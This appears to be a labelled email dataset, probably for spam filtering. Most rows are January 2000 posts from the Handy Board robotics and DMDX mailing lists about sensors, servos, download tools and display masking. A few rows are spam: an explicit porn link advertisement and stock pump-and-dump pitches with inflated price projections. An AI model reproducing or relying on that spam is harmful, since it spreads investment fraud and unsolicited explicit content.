11:16:08 -0800",Re: archive and/or temperature sensor,"Jim - Yes, there is an archive of this list. I maintain one at: http://www.infosite.com/~jkeyzer/handy/index.html It is searchable and updates in real time as messages are received at infosite.com. Jeff > > Hi, > > Hate to bother every one but is there an archive for the > list? I remember a few weeks ago someone talking about > interfacing a temperature sensor to the handyboard. > I wanted to see how that person was going about it. > I'm a software person who did hardware a long time ago > and need as much help as I can get to get started. > Finished building my handyboard over the weekend. > > Thanks, > Jim > > --------------------------------------------- > Jim Harsh E-Mail: harsh@lanl.gov > Los Alamos National Laboratory, MS P940 > Los Alamos, NM 87545 > 505-665-0485, FAX - 505-665-3359 > Date: 04-Jan-00,Time: 10:34:14 > --------------------------------------------- > ",0,1 Todd Lehman ,handyboard@media.mit.edu,"Tue, 04 Jan 2000 19:48:27 +0000",Re: archive and/or temperature sensor,"In lugnet.robotics.handyboard, harsh@lanl.gov writes: > Hate to bother every one but is there an archive for the > list? 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At > the same instant, the handy board comes out of special bootstrap mode. (The > PWR LED turns on.) This leads me to belive that the timing of the program > may be too slow. Fred Martin has mentioned that the E series HC11's have > very strict timing on their download functions, and hbdl probably can't keep > up with it. Anyone have any ideas or similar experiences? ",0,0 Kam K Leang ,harsh@lanl.gov,"Tue, 04 Jan 2000 13:09:07 -0700",Re: archive and/or temperature sensor,"Hello, I don't know if this will help, but you can buy a cheap thermistor (thermal resistor) from Radio Shack and plug it directly between an analog input and ground on the HB. The thermistor changes resistance with temperature. Thus, using the 'analog(int port)' function, you can get a reading from the sensor. Nothing fancy of course. Good luck! -kam http://www.mech.utah.edu/~kleang On Tue, 4 Jan 2000 harsh@lanl.gov wrote: > Hi, > > Hate to bother every one but is there an archive for the > list? I remember a few weeks ago someone talking about > interfacing a temperature sensor to the handyboard. > I wanted to see how that person was going about it. > I'm a software person who did hardware a long time ago > and need as much help as I can get to get started. > Finished building my handyboard over the weekend. > > Thanks, > Jim > > --------------------------------------------- > Jim Harsh E-Mail: harsh@lanl.gov > Los Alamos National Laboratory, MS P940 > Los Alamos, NM 87545 > 505-665-0485, FAX - 505-665-3359 > Date: 04-Jan-00,Time: 10:34:14 > --------------------------------------------- > ",0,1 ������ ,DMDX@psy1.psych.arizona.edu,"Tue, 04 Jan 2000 11:34:10 -0700",########### �� �϶����� ������ �����ϴ� �������̿�... ##########,"������ viamast@gmail.com ���� �������� ������ ������, ������ ���� ��������. ���������� nomoreok@gmail.com ���� ������ �������� ���� ������������.",1,1 Kah Mun ,handyboard@media.mit.edu,"Tue, 04 Jan 2000 23:45:23 +0000","Digital Outputs, Multi-tasking","1. On the Handyboard website, there are 2 drivers which make ports 5 and 7 digital output ports. I have used one of them to control a servo. I need another one to be connected to a SN754410NE so that i have a PWM output for a DC motor. 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I'm quite a bit stuck and would really appreciate some help Thanks Pedro Jeff Keyzer escribió: > I successfully downloaded hbdl (thanks for fixing it, Fred!) and ran > into some problems when trying to use it. When I try to download a file to > the board, as soon as I click ""yes"" that the board is ready, the program > tells me that the board is in the wrong mode, or not receiving the data. At > the same instant, the handy board comes out of special bootstrap mode. (The > PWR LED turns on.) This leads me to belive that the timing of the program > may be too slow. Fred Martin has mentioned that the E series HC11's have > very strict timing on their download functions, and hbdl probably can't keep > up with it. Anyone have any ideas or similar experiences? I have tried on a PIII 450 Mhz, a Pentium 200 Mhz and a 486SX 25Mhz, obtaining the same results with hbdl, dlm just stalls and doesnt even reach to get the board out of bootstrap mode, and with dl I obtain similar results than with hbdl. Thanks Pedro ",0,0 Kah Mun ,handyboard@media.mit.edu,"Wed, 05 Jan 2000 02:10:03 +0000",Short Circuit-EMERGENCY,"i had a short circuit between the handyboard's TO3 port and the handyboard's 11V supply. Now, whenever i turn the board on there's only black boxes on the LCD display. the Power LED is on and the board is in Zap mode. the message says that the board isn't responding. i've tried reloading the pcode but it doesn't help. what is wrong?? please help. km ",0,0 Mike Schubert ,Pedro Perez de Ayala ,"Wed, 05 Jan 2000 07:52:13 +0100",Re: [Fwd: hbdl doesn't work?]," Hello, with hbdl i had also some problems in past. But since i changed to dl under DOS or Un*x, i had no problems anymore. I don't know why.... -- sincerely Mike Schubert _ |_| Mike Schubert Tel.: ++49-351-3 18 09 15 | |__ interface business GmbH Fax.: ++49-351-3 36 11 87 | |_ | Naumannstrasse 1 E-Mail: mike.schubert@ifbus.de |____| D-01309 D R E S D E N HTTP: www.ifbus.de/~schubi ""FreeBSD is like a wigwam, no windows, no gates and an apache inside."" On Tue, 4 Jan 2000, Pedro Perez de Ayala wrote: > Hi, > > I have exactly the same problem than he did, do you know what can I do??? > > I'm quite a bit stuck and would really appreciate some help > > Thanks > Pedro > > Jeff Keyzer escribi�: > > > I successfully downloaded hbdl (thanks for fixing it, Fred!) and ran > > into some problems when trying to use it. When I try to download a file to > > the board, as soon as I click ""yes"" that the board is ready, the program > > tells me that the board is in the wrong mode, or not receiving the data. At > > the same instant, the handy board comes out of special bootstrap mode. (The > > PWR LED turns on.) This leads me to belive that the timing of the program > > may be too slow. Fred Martin has mentioned that the E series HC11's have > > very strict timing on their download functions, and hbdl probably can't keep > > up with it. Anyone have any ideas or similar experiences? > ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 05 Jan 2000 11:22:52 +0000",[DMDX] Re: moving windows,"Hi. Is a better way to do this is to work out the whole length of the sentence and use empty spaces with separate lines for the mask and the word. - Mike e.g., something like.... =5 "" #### "" =6 "" wants "" xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Wed, 05 Jan 2000 11:56:13 +0000",[DMDX] Re: moving windows,"At 11:22 05/01/00 +0000, you wrote: >Hi. Is a better way to do this is to work out the whole length of the >sentence and use empty spaces with separate lines for the mask and the word. > >- Mike > >e.g., something like.... > >=5 "" #### "" >=6 "" wants "" > This would work well. I seem to recall doing something similar to this in the old DMASTR. You need to use a fixed width (i.e. non-proportional) font like Courier though, otherwise the difference in width of characters like ""w"" and ""m"" vs ""i"" and ""l"" would cause problems. One useful hint is to use Excel formulae (or the text functions in some other spreadsheet package) to make the item files. For example, you can use LEN to work out the number of characters in a sentence. Then you can use FIND("" "", etc) to find the position of space characters that separate each word, and REPT(""#"", etc) to replace the letters in each word with # marks. Good luck, Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#621) Fax: 01223 359 062 **************************************************** ",0,0 Jerry Packard ,DMDX@psy1.psych.arizona.edu,"Wed, 05 Jan 2000 08:10:13 -0600",[DMDX] Re: moving windows,"I'll try these things; thanks to both Mike and Matt. Jerry At 11:56 AM 1/5/00 +0000, you wrote: >At 11:22 05/01/00 +0000, you wrote: >>Hi. Is a better way to do this is to work out the whole length of the >>sentence and use empty spaces with separate lines for the mask and the >word. >> >>- Mike >> >>e.g., something like.... >> >>=5 "" #### "" >>=6 "" wants "" >> > >This would work well. I seem to recall doing something similar to this in >the old DMASTR. You need to use a fixed width (i.e. non-proportional) font >like Courier though, otherwise the difference in width of characters like >""w"" and ""m"" vs ""i"" and ""l"" would cause problems. > >One useful hint is to use Excel formulae (or the text functions in some >other spreadsheet package) to make the item files. For example, you can use >LEN to work out the number of characters in a sentence. Then you can use >FIND("" "", etc) to find the position of space characters that separate each >word, and REPT(""#"", etc) to replace the letters in each word with # marks. > >Good luck, > >Matt > > > >**************************************************** > Matt Davis > MRC Cognition and Brain Sciences Unit > 15 Chaucer Road, Cambridge, CB2 2EF > > email: matt.davis@mrc-cbu.cam.ac.uk > tel: 01223 355 294 (#621) > Fax: 01223 359 062 > >**************************************************** >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. 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To use them, just call them as documented in the manual. > > 3. under the System Interrupt Control section of the same library file, the > comments said we can turn on and off various interrupt routines. it only give s > functions for the PWM and Print screen functions. where can i get the other > functions such as IR Decoding, quad shaft encoding? > If you look at the functions for enabling/disabling these items in lib_hb.c, you'll see that they simply toggle a bit in memory. There is a byte (or possibly a 16bit int) that is used to define what is active. If you grab the pcode source, you can find the meaning of each bit and modify lib_hb.c to have the additional functions. --chris ",0,0 Richard Spooner ,handyboard@media.mit.edu,"Thu, 06 Jan 2000 07:45:51 +0000",GP2D12 Pinouts,"Please could someone let me know the pin arrangement for the GP2D12 as I have such a device with no documentation (the Sharp datasheet doesn't help). ... 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Anyhow, I'm going to sever the connection to the handyboard battery and supply my own power to the servos. I'd really prefer, however to keep everything powered by the handyboard; it's much more elegant that way. In the past, I ran two servos using the Scott Edwards SSC servo controller with out any glitches. I got all the power I needed from the handyboard. Anyhow, thanks for your help/comments. -Scott Harris ",0,0 dcuellat@starmedia.com,handyboard@media.mit.edu,"Thu, 06 Jan 2000 14:40:12 -0800",I NEED HELP,"Hi , i have a trouble, i�m want to assembly my own HB for built a mobile robot, but i can�t get the MC68HC11 processor because here (in colombia) is not avaible anywhere I search at motorola web site, but they say me that the processor is not avaible, is discontinue of production, what can in do? Anybody know where i can get it?, ( I need buy it by the net) thanks CAMILA PARKER Abre gratis una cuenta de email en StarMedia Mail. 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Anyhow, I guess I'll keep the external power for now. I just have to find a place to hold 4 more AA batteries on my robot. It's tiny. -Scott Harris. In lugnet.robotics.handyboard, Scott Harris writes: >I've got four servos attatched to my expansion board and unless I keep the >charger attatched in ZAP mode, I experience a lot of jittering. Has anyone >else experienced this? Perhaps the NiCads in my Handyboard are old? > >Anyhow, I'm going to sever the connection to the handyboard battery and supply >my own power to the servos. I'd really prefer, however to keep everything >powered by the handyboard; it's much more elegant that way. > >In the past, I ran two servos using the Scott Edwards SSC servo controller with >out any glitches. I got all the power I needed from the handyboard. > >Anyhow, thanks for your help/comments. > >-Scott Harris ",0,0 pgasparik ,handyboard@media.mit.edu,"Fri, 07 Jan 2000 08:33:22 +0000",Re: I NEED HELP,"If you need just one 68HC11, give me your address and I'll post it to you. I have some spare ones (second hand). Peter Gasparik In lugnet.robotics.handyboard, dcuellat@starmedia.com writes: >Hi , i have a trouble, i4m want to assembly my own HB for built a mobile robot, but i can4t get the MC68HC11 processor because here (in colombia) is not avaible anywhere >I search at motorola web site, but they say me that the processor is not avaible, is discontinue of production, >what can in do? >Anybody know where i can get it?, ( I need buy it by the net) >thanks > >CAMILA PARKER > >Abre gratis una cuenta de email en StarMedia Mail. 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Does the arrangement you have allow for you to 'hear' > yourself talk in the headset? Is what I'm describing called > 'single side band'? And yes, I'd love it if you could jpeg it, > the drawing below was jumbled via the ascii. Thanks again, > > -hba Hal, You won't hear yourself using the simple adaptor in the drawing (see attached jpg.) In my set up, the ptt plugs into the Sigtronics Com box as do the mic and headset plugs. The Sigtronic ptt and mic outputs go into the adapter. Its the com box that gives the sideband to the headset. If I switch off the box, the system still works, (the mic and ptt passes through, as does the radio's audio output to the headsets) but I can't hear myself in the headsets. In other words, the radio itself doesn't supply the feedback sound. I hope this helps. Rich -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | |Things which seemed ___________________ __________________ |reasonable were often ^^^^^^^^^^^^^^^^/_ )\\^^^^^^^^^^^^^^^ |untrue..Other things \\ | 0 | / |were partly true and \\ \\(_ / / |partly untrue..A few / \\ |things were really true. ( ) | - Wilbur Wright | Richard Starr Thetford Center, Vermont USA starrfarr@valley.net 11AC N9540E SN 1178 *** End of forwarded message *** ",0,0 Sonny Mounicou ,handyboard@media.mit.edu,"Fri, 07 Jan 2000 21:10:53 -0600",Voice Recognition,"Hello all, I have a project upcoming that would benefit from speech recognition. I have seen the voice direct by Interactive Speech and was thinking of integrating it into my robot. If anyone has had any success (or failure) with this product or any other similar product, please let me know. Thank you Sonny Mounicou ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Sat, 08 Jan 2000 05:28:18 +0000",Re: Voice Recognition,"Hi Sonny, I've played with Voice Direct and also with the HM2007 chip. Both of them work fine in a quiet environment, but in my limited playing they were both overwhelmed by the ambient noise of a moving robot. They both are speaker dependent, and are capable of learning only a small vocabulary ... but ok for receiving commands once the motor noise problem is overcome. Both of my units are on the shelf for now, but I hope to get back to them soon. Good luck, - Nick - Sonny Mounicou wrote: > > Hello all, > > I have a project upcoming that would benefit from speech > recognition. I have seen the voice direct by Interactive Speech and was > thinking of integrating it into my robot. If anyone has had any success > (or failure) with this product or any other similar product, please let me > know. > > Thank you > Sonny Mounicou ",0,0 Duncan ,handyboard@media.mit.edu,"Sat, 08 Jan 2000 18:53:43 -0400",Young Woman so radiant and jolly!," brilliant Eighteens suckking oldman cock! http://musicrecreation.info/lzpetite.htm?iSPhfd.fX,hj R.E.MM.0.\\/.E http://musicrecreation.info ",1,1 Jose Luis ,handyboard@media.mit.edu,"Sat, 08 Jan 2000 18:57:44 -0300",Mic for CCD Camera,"Hi, This question is not HB specific, sorry about that. I have bought a CCD camera board, and I want to add it to my robot together with a TV transmitter, the problem is that the camera has not built in audio, so I will like to know if someone has a circuit that can amplify the signal from an Electret mic to the levels that are used in the Audio In of a TV, or VCR, I believe the Audio In works with a level of 150 mV, but I'm not sure about that. Thank You. Jose Luis ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Sat, 08 Jan 2000 23:02:03 +0000",LEGO IR Remote Control,"Hello All, Has anyone developed an IR receiver/decoder to allow a HandyBoard robot to be controlled by a LEGO IR Remote (#9738)? My LEGO 'bots are great when they're controlled with the LEGO IR remote ... grade school kids really like the remote control and I'd like to be able to control my HandyBoard 'bots with the same IR remote. Thanks, - Nick - ",0,0 Bob Baxley ,handyboard@media.mit.edu,"Sun, 09 Jan 2000 01:01:13 +0000",Problem with my board,"I am using a HD with expansion board. Periodically when I run the motors at anything less than 100 they spin with very little power and both the red and green lights on the board light up. At full power the motors work perfectly with only the green light lit. This problem is very odd because sometimes I can just let the board sit over night and it works the next day. Any help or comments would be appreciated. Bob Baxley ",0,0 Gary Livick ,Bob Baxley ,"Sat, 08 Jan 2000 17:11:49 -0800",Re: Problem with my board,"Bob, What other code are you running? What does your motor code look like? Does anything get hot when this happens, like the motor control chip, the hex inverter or the voltage regulator? Gary Livick Bob Baxley wrote: > I am using a HD with expansion board. Periodically when I run the motors at > anything less than 100 they spin with very little power and both the red and > green lights on the board light up. At full power the motors work perfectly > with only the green light lit. This problem is very odd because sometimes I > can just let the board sit over night and it works the next day. Any help or > comments would be appreciated. > > Bob Baxley ",0,0 Bob Baxley ,handyboard@media.mit.edu,"Sun, 09 Jan 2000 01:47:31 +0000",Re: Problem with my board,"In lugnet.robotics.handyboard, Gary Livick writes: The motor doesn't work in my program, which has multiple processes running, but it still doesn't work when i just send the command through IC's interactive window: motor(1,50). Nothing special happens except for both lights coming on. The motor is just a lego motor, but i have been using it for about a year without any problems. I also found out that only the green light comes on, and at a lowered intensity as it is supposed to, when i try the command without a motor plugged in. Thanks, Bob Baxley >Bob, > >What other code are you running? What does your motor code look like? Does >anything get hot when this happens, like the motor control chip, the hex >inverter or the voltage regulator? > >Gary Livick > >Bob Baxley wrote: > >> I am using a HD with expansion board. Periodically when I run the motors at >> anything less than 100 they spin with very little power and both the red and >> green lights on the board light up. At full power the motors work perfectly >> with only the green light lit. This problem is very odd because sometimes I >> can just let the board sit over night and it works the next day. Any help or >> comments would be appreciated. >> >> Bob Baxley",0,0 Matt Austin ,Nick Taylor ,"Sun, 09 Jan 2000 13:29:45 -0000",RE: LEGO IR Remote Control,"Check out this link, it should be what you're looking for: http://www.cam.org/~mdavies/HB/ir.htm Regards, Matt > -----Original Message----- > From: news-gateway@lugnet.com [mailto:news-gateway@lugnet.com]On Behalf > Of Nick Taylor > Sent: 08 January 2000 23:02 > To: handyboard@media.mit.edu > Subject: LEGO IR Remote Control > > > Hello All, > > Has anyone developed an IR receiver/decoder to allow a HandyBoard > robot to be controlled by a LEGO IR Remote (#9738)? My LEGO 'bots > are great when they're controlled with the LEGO IR remote ... grade > school kids really like the remote control and I'd like to be able > to control my HandyBoard 'bots with the same IR remote. > > Thanks, > - Nick - > ",0,1 Will Bain ,Handy Board mailing list ,"Sun, 09 Jan 2000 11:07:35 -0800",Higher voltage for HB battery,"I would like to know whether the HB can be used with a 12 V (ten AA cell) NiCd battery instead of the standard 9.6 V (eight AA cell) NiCd battery. Specifically, (1) Would the HB be damaged by the higher voltage, (2) Would the HB function properly (e.g., could I still use Lego gear motors), and (3) Could I use a 14 or 15 V, 500 mA ""wall wart"" instead of the standard 12 V, 500 mA adapter to charge the 12 V battery using the HB's built-in charging circuitry (the two trickle charge modes and the ZAP mode). The reason that I would like to do this is that I have a video camera and transmitter that requires 12 V, and I would like to avoid using separate batteries (and especially separate charging circuits) for the HB and the camera. If anyone knows the answers, I would be grateful to hear about it. Thanks in advance! Sincerely, -- Will Bain ===== Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. Clark __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com ",0,1 Scarius ,handyboard@media.mit.edu,"Sun, 09 Jan 2000 20:57:27 +0000",LEGO sensor,"Some of the expansion board kits (all? sorry, haven't been paying much attention to the extension boards yet) mention that they have slots for LEGO style sensors. Does this mean the sensors they use on their RCX/Mindstorms stuff? What's the difference, are the LEGO sensors based around different voltages as opposed to normal Handyboard sensors? We've been using LEGO motors (but not sensors) in our lab, is there a difference there as well? Somewhat obviously, I don't know much about electronics :) ",0,0 Chuck McManis ,"Will Bain , ""\\""Handy Board mailing list\\"""" ","Sun, 09 Jan 2000 13:17:27 -0800",Re: Higher voltage for HB battery,"I find that the ideal solution to this situation is to build a power system for the robot. Maxim, Linear Technology, and National each make very easy to use switching regulators that can provide highly efficient DC to DC conversion. Building a circuit out of the National ""simple switcher"" parts is pretty each. Then build on 5V supply for the HB, one 9V for the Lego motors, and run the camera of the 12V of the battery. --Chuck At 11:07 AM 1/9/00 -0800, Will Bain wrote: >I would like to know whether the HB can be used with a 12 V (ten AA >cell) NiCd battery instead of the standard 9.6 V (eight AA cell) NiCd >battery. > >Specifically, >(1) Would the HB be damaged by the higher voltage, >(2) Would the HB function properly (e.g., could I still use Lego gear >motors), and >(3) Could I use a 14 or 15 V, 500 mA ""wall wart"" instead of the >standard 12 V, 500 mA adapter to charge the 12 V battery using the HB's >built-in charging circuitry (the two trickle charge modes and the ZAP >mode). > >The reason that I would like to do this is that I have a video camera >and transmitter that requires 12 V, and I would like to avoid using >separate batteries (and especially separate charging circuits) for the >HB and the camera. > >If anyone knows the answers, I would be grateful to hear about it. >Thanks in advance! > >Sincerely, >-- Will Bain > >===== >Any sufficiently advanced technology >is indistinguishable from magic. >-- Arthur C. Clark >__________________________________________________ >Do You Yahoo!? >Talk to your friends online with Yahoo! Messenger. >http://im.yahoo.com ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Sun, 09 Jan 2000 21:21:04 +0000",Re: LEGO sensor,"The LEGO sensors and the RCX are the same thing. The standard Handy Board (without an expansion board) can handle all of the passive LEGO sensors such as the touch and rotation sensors. The expansion board is needed to use the active sensors such as the light sensor and others that have been developed by the sensor experts like Michael Gasperi and others. The big advantage of the expansion board is the ability to directly control R/C servos as well as the active LEGO sensors. Good luck and have fun, - Nick - Scarius wrote: > > Some of the expansion board kits (all? sorry, haven't been paying much > attention to the extension boards yet) mention that they have slots for > LEGO style sensors. Does this mean the sensors they use on their > RCX/Mindstorms stuff? What's the difference, are the LEGO sensors based > around different voltages as opposed to normal Handyboard sensors? We've > been using LEGO motors (but not sensors) in our lab, is there a > difference there as well? Somewhat obviously, I don't know much about > electronics :) ",0,0 AMOL KHARE ,handyboard@media.mit.edu,"Sun, 09 Jan 2000 16:54:55 -0700",Interfacing GP2D02 with handyboard,"Hi handyboard users, I am using the GP2D02 sensor but i'm facing problems interfacing it with the handyboard. The problem i'm facing is that the test program written by Barry has been written only using digital ports 14 and 15. But i want to use more than 2 sensors and i am unable to write the coding for the same with all the ports in use. So if anyone has accomplished this, i will be grateful if you could help me. I am struck with this and am not able to proceed further on my project as i'm not proficient in assembly language programming. I would appreciate your help. Thank you, regards amol ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1 ",0,1 Lemuel Soto ,handyboard@media.mit.edu,"Sun, 09 Jan 2000 20:49:49 -0120",Re:,"Watch this company closely starting now! De Greko, Inc. (OTC: DGKO) WITHIN 45 DAYS, CLIXME AWARENESS CAMPAIGN TO BEGIN (This was announced Tuesday March 28, 7:45 am ET) The company is currently developing a campaign that will launch nationwide which will highlight the Clixme, ""Click to Call"" platform. In the next 45 days a media campaign will begin that will target not only customers for De Greko Communications but also show the investment community that the product is first rate and works efficiently. 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Martin"" ",handyboard@media.mit.edu,"Mon, 10 Jan 2000 02:06:03 +0000",Re: LEGO sensor,"just to be clear, there are two types of LEGO sensor: active and passive: * passive -- touch sensor, temperature sensor. * active -- light sensor, rotation sensor (aka shaft encoder, angle sensor) without expansion board, the HB can only deal with the passive sensors. with expansion board, you also can use the active sensors. the active sensors are somewhat sophisticated, you alternately charge them to +9v and then read back their value. this must be done repeatedly -- the HB does it at 250 hz -- to maintain counts with the rotation sensor. fred In your message you said: > The LEGO sensors and the RCX are the same thing. The standard Handy > Board (without an expansion board) can handle all of the passive LEGO > sensors such as the touch and rotation sensors. The expansion board > is needed to use the active sensors such as the light sensor and > others that have been developed by the sensor experts like Michael > Gasperi and others. The big advantage of the expansion board is the > ability to directly control R/C servos as well as the active LEGO > sensors. > > Good luck and have fun, > - Nick - > > Scarius wrote: > > > > Some of the expansion board kits (all? sorry, haven't been paying much > > attention to the extension boards yet) mention that they have slots for > > LEGO style sensors. Does this mean the sensors they use on their > > RCX/Mindstorms stuff? What's the difference, are the LEGO sensors based > > around different voltages as opposed to normal Handyboard sensors? We've > > been using LEGO motors (but not sensors) in our lab, is there a > > difference there as well? Somewhat obviously, I don't know much about > > electronics :) > ",0,0 James Munro ,handyboard@media.mit.edu,"Mon, 10 Jan 2000 03:29:44 +0000",More servo stuff,"I believe someone asked a similiar question to this but I didn't get an answer (I don't think). Question relating to the HB expansion board and servo control (or lack of same). I can control standard servos (S148, 3003 etc.) just fine, they run as expected from the hb servo ports. But if I hook up micro-servos (using Hobbico Command Mini-Servo CS-31) they are very unpredictable. I can get them to steady off to one side but if I move them around much they chatter alot and will jump to random places. Are the values supposed to be radically different from standard sized servos? I'm using values from 1000-3000 which seem to place them somewhat correctly but every so often they'll rotate from one extreme to the other without reason. Anyone have a similiar problem or know what I'm doing wrong? Thanks in advance, Jim M. ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Mon, 10 Jan 2000 04:12:54 +0000",Re: LEGO sensor,"oops! Thanks Dr. Martin for catching my mistake about the rotation sensor. - Nick - ""Fred G. Martin"" wrote: > > just to be clear, there are two types of LEGO sensor: active and > passive: > > * passive -- touch sensor, temperature sensor. > * active -- light sensor, rotation sensor (aka shaft encoder, angle sensor) > > without expansion board, the HB can only deal with the passive > sensors. > > with expansion board, you also can use the active sensors. the active > sensors are somewhat sophisticated, you alternately charge them to +9v > and then read back their value. this must be done repeatedly -- the > HB does it at 250 hz -- to maintain counts with the rotation sensor. > > fred > > In your message you said: > > The LEGO sensors and the RCX are the same thing. The standard Handy > > Board (without an expansion board) can handle all of the passive LEGO > > sensors such as the touch and rotation sensors. The expansion board > > is needed to use the active sensors such as the light sensor and > > others that have been developed by the sensor experts like Michael > > Gasperi and others. The big advantage of the expansion board is the > > ability to directly control R/C servos as well as the active LEGO > > sensors. > > > > Good luck and have fun, > > - Nick - > > > > Scarius wrote: > > > > > > Some of the expansion board kits (all? sorry, haven't been paying much > > > attention to the extension boards yet) mention that they have slots for > > > LEGO style sensors. Does this mean the sensors they use on their > > > RCX/Mindstorms stuff? What's the difference, are the LEGO sensors based > > > around different voltages as opposed to normal Handyboard sensors? We've > > > been using LEGO motors (but not sensors) in our lab, is there a > > > difference there as well? Somewhat obviously, I don't know much about > > > electronics :) > > ",0,0 """E158 (M.FAZAL)"" ","""'handyboard@media.mit.edu'"" ","Mon, 10 Jan 2000 11:00:00 -0000",serial comm between HB and custom software,"I am trying make a robot that communicates with a computer program build in borland C. can i use the serial port of the Handy Board? how do i send and receive commands or messages to and from the HB through my boland C program, using this serial port. any ideas greatly appreciated. many thanks M Fazal ",0,0 AMOL KHARE ,handyboard@media.mit.edu,"Mon, 10 Jan 2000 06:35:42 -0700",Interfacing GP2D02 with handyboard,"HI I am currently working on a project and am using the handyboard for the purpose of wall following. I want to use the GP2D02 sensor with the same but i find that it (GP2D02) can be used only on digital ports 14 and 15. As i'm not proficient with assembly language programming, i have not been able to proceed further and write a code which can make use of all the digital ports available. I would greatly appreciate if anyone has accomplished this and can guide me as to how to go about doing the same. Thank you, Amol ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1 ",0,1 Gary Livick ,AMOL KHARE ,"Mon, 10 Jan 2000 10:59:43 -0800",Re: Interfacing GP2D02 with handyboard,"If you are not conversant in assembly, it will be difficult to obtain code for each individual digital port unless you get someone to write it for you specifically. However, if you switch to GP2D12 sensors, and remove the pullup resistors on the Handy Board's analog ports, then you can load all the analog ports with sensors and read them directly. The GP2D12 puts out an analog range signal. Its faster, cheaper, and takes up lots less computer overhead. Just read an analog port when you want to check the range. I think this new sensor kind of makes the GP2D02 obsolete for anyone with A to D capability on their controller. Gary Livick AMOL KHARE wrote: > HI > I am currently working on a project and am using the handyboard for the > purpose of wall following. I want to use the GP2D02 sensor with the same but i > find that it (GP2D02) can be used only on digital ports 14 and 15. As i'm not > proficient with assembly language programming, i have not been able to proceed > further and write a code which can make use of all the digital ports > available. I would greatly appreciate if anyone has accomplished this and can > guide me as to how to go about doing the same. > Thank you, > Amol > > ____________________________________________________________________ > Get free email and a permanent address at http://www.netaddress.com/?N=1 ",0,1 Drew Weng ,handyboard@media.mit.edu,"Mon, 10 Jan 2000 16:51:23 -0500",GP2D12 & Expansion Board,"Can I use the Lego ports on the Expansion board for the GP2D12? Do these ports have pull resistors and if so can they be disconnected so the pin float as required by the Sharp sensors? -Drew ",0,0 Scott Harris ,handyboard@media.mit.edu,"Mon, 10 Jan 2000 21:40:51 +0000",Re: More servo stuff,"Try placing a capacitor across +5V and ground. Get something in the range of 0.1 - 0.47 microfarads and just plug it into the headers on the HB. This solved my problems. -Scott Harris In lugnet.robotics.handyboard, James Munro writes: >I believe someone asked a similiar question to this but I didn't get an >answer (I don't think). > >Question relating to the HB expansion board and servo control (or lack of >same). > >I can control standard servos (S148, 3003 etc.) just fine, they run as >expected from the hb servo ports. But if I hook up micro-servos (using >Hobbico Command Mini-Servo CS-31) they are very unpredictable. I can get >them to steady off to one side but if I move them around much they chatter >alot and will jump to random places. Are the values supposed to be >radically different from standard sized servos? I'm using values from >1000-3000 which seem to place them somewhat correctly but every so often >they'll rotate from one extreme to the other without reason. ",0,0 Scott Harris ,handyboard@media.mit.edu,"Mon, 10 Jan 2000 21:46:00 +0000",Re: GP2D12 & Expansion Board,"You can cut the trace going to the pullup resistor corresponding to analog(0) on the main board and then all of the expansion board analog inputs will be floating. Analog(0) is multiplexed to provide all of the analog inputs on the expansion board. This is what I did and I have five GP2D12 sensors working fine on my robot. Look at the PCB diagram in the HB manual and make sure you're cutting the correct trace. Even if you do make a mistake, it's easy to fix. -Scott Harris In lugnet.robotics.handyboard, Drew Weng writes: >Can I use the Lego ports on the Expansion board for the GP2D12? Do >these ports have pull resistors and if so can they be disconnected so >the pin float as required by the Sharp sensors? >-Drew",0,0 James Munro ,handyboard@media.mit.edu,"Mon, 10 Jan 2000 21:50:13 +0000",Re: More servo stuff,"> Try placing a capacitor across +5V and ground. Get something in the range > of 0.1 - 0.47 microfarads and just plug it into the headers on the HB. This > solved my problems. I did this but it didn't help. *sigh* Thanks for the tip! ",0,0 zdp7gm ,"handyboard@media.mit.edu, liliana@media.mit.edu","Mon, 10 Jan 2000 18:54:57 +0100",forward specs for WEEK STARTING MONDAY it is [H O T] desk's flea custard anchor,"GAPJ- GOLDEN APPLE OIL/GAS This weeks Pick, Company already has solid potential Current Price: $ 0.50 5 Day Projected : $ 1.50 Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. (GAPJ - News) is pleased to announce it has completed the initial private placement with Franklin Ross Securities of New Jersey. The terms of the deal provide for Franklin Ross to purchase 181,818 shares of Golden Apple Oil and Gas, Inc. restricted stock priced at .10 per share. The company is currently negotiating with several investor groups for the next phase of financing. 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So I usually change the servo position in software first, ie servo5 = 4000, then turn on the servo power by setting the digital output high, wait for about 1 sec, then turn the servo power back off. I was very happy with this solution because it eliminated the jitter problem and also removed any battery drain due to the servo at idle. I found that the servo had more than enough holding torque on its own with no power due to the large gear ratio. Bill Denzel -----Original Message----- From: news-gateway@lugnet.com [mailto:news-gateway@lugnet.com] On Behalf Of James Munro Sent: Monday, January 10, 2000 1:50 PM To: handyboard@media.mit.edu Subject: Re: More servo stuff > Try placing a capacitor across +5V and ground. Get something in the range > of 0.1 - 0.47 microfarads and just plug it into the headers on the HB. This > solved my problems. I did this but it didn't help. *sigh* Thanks for the tip! ",0,0 Anna Woollams 